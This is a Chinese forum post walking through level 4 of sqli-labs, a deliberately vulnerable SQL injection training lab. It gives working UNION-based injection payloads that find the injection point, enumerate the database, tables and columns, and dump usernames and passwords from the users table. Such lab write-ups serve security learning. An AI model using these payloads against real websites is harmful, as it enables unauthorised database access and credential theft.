[网络安全]sqli-labs Less-4 解题详析

[复制链接]
发表于 2025-11-14 09:44:27 | 显示全部楼层 |阅读模式

马上注册,结交更多好友,享用更多功能,让你轻松玩转社区。

您需要 登录 才可以下载或查看,没有账号?立即注册

×
判定注入范例

GET1" and "1"="1,回显如下:

GET1" and "1"="2
没有回显,分析该毛病范例为GET型双引号字符型注入
判定注入点个数

GET1" order by 3 --+
  1. 由上图可知,sql语法中给$id加上了()
  2. 猜测后端语句为SELECT * FROM xx where id=("$id")
  3. 故构造GET1') order by 3 --+,此时后端语句为SELECT * FROM xx where id=("1") order by 3 --+")
  4. 即SELECT * FROM xx where id=("-1") order by 3
复制代码
GET1") order by 3 --+
GET1") order by 4 --+
故注入点为3个
查库名

GET-1") union select 1,2,database(); --+
回显库名security

查表名
  1. -1") union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'; --+
复制代码
回显四个表名

查users表的列名
  1. -1") union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'; --+
复制代码

查字段

Payload:-1") union select 1,group_concat(username),group_concat(password) from 库名.表名; --+
实比方下:
  1. -1") union select 1,group_concat(username),group_concat(password) from security.users; --+
复制代码

回复

使用道具 举报

登录后关闭弹窗

登录参与点评抽奖  加入IT实名职场社区
去登录
快速回复 返回顶部 返回列表